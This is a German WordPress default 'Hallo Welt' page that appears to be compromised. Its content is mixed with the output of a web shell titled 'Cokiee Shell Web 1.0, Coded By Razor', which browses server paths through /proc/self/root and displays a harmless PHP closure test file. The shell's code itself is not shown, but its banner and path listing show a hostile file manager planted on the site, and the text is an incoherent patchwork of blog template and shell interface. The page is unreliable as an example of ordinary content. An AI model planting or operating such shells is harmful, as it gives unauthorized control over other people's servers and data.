Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/Zend/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/Zend/tests/closure_036.phpt |
--TEST-- Closure 036: Rebinding closures, keep calling scope --FILE-- <?php class A { private $x; public function __construct($v) { $this->x = $v; } public function getIncrementor() { return function() { return ++$this->x; }; } } $a = new A(0); $b = new A(10); $ca = $a->getIncrementor(); $cb = $ca->bindTo($b); $cb2 = Closure::bind($ca, $b); var_dump($ca()); var_dump($cb()); var_dump($cb2()); ?> --EXPECTF-- int(1) int(11) int(12)
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare